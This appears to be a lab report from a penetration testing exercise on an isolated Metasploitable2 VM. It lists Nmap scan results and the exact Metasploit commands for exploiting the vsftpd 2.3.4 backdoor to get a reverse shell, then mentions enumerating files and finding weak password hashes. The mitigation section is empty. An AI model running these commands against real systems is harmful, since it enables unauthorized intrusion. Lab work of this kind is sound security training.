Secure Network Lab: Penetration Testing Report

1. Project Overview

This report documents the creation and utilization of a secure virtual lab to simulate penetration testing on a vulnerable system. The goal was to understand network vulnerabilities, perform ethical hacking using tools like Nmap and Metasploit, and document findings with recommended mitigations.

---

2. Lab Setup

2.1 Tools Used

1. VirtualBox: To host virtual machines (VMs).

2. Kali Linux: Penetration testing system.

3. Metasploitable2: Vulnerable target VM.

4. Nmap: Network scanning tool.

5. Metasploit: Exploitation framework.

2.2 Virtual Machines Configuration

Attacker Machine:

OS: Kali Linux.

IP Address: 192.168.56.101.

Target Machine:

OS: Metasploitable2 (Ubuntu-based).

IP Address: 192.168.56.102.

Network Type: Host-Only Adapter for secure, isolated communication between VMs.

---

3. Testing Process

3.1 Reconnaissance with Nmap

Command Used:

nmap -sV -O 192.168.56.102

Findings:

Port	Service	Version	Vulnerability
21	FTP	vsftpd 2.3.4	Backdoor vulnerability
23	Telnet	Linux telnetd	Insecure service
80	HTTP	Apache 2.2.8 (Unix)	Outdated version, prone to XSS

3.2 Exploitation with Metasploit

Exploited Vulnerability:

FTP Backdoor in vsftpd 2.3.4.

Steps:

1. Launched Metasploit using the command:

msfconsole

2. Loaded the exploit module:

use exploit/unix/ftp/vsftpd_234_backdoor

3. Set the target IP:

set RHOST 192.168.56.102

4. Executed the exploit:

exploit

Result:

Successfully gained a reverse shell on the target system.

3.3 Post-Exploitation Analysis

Actions Performed:

Enumerated system files.

Identified weak password hashes.

---

4. Findings and Mitigation Recommendations

---

5. Conclusion

This project successfully demonstrated the process of setting up a secure lab, conducting penetration testing, and identifying vulnerabilities in a controlled environment. The insights gained can be used to understand real-world cyber threats and their mitigation techniques.

Commands Used

1. Nmap:

nmap -sV -O <Target_IP>

2. Metasploit commands:

```
msfconsole

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOST <Target_IP>

exploit
```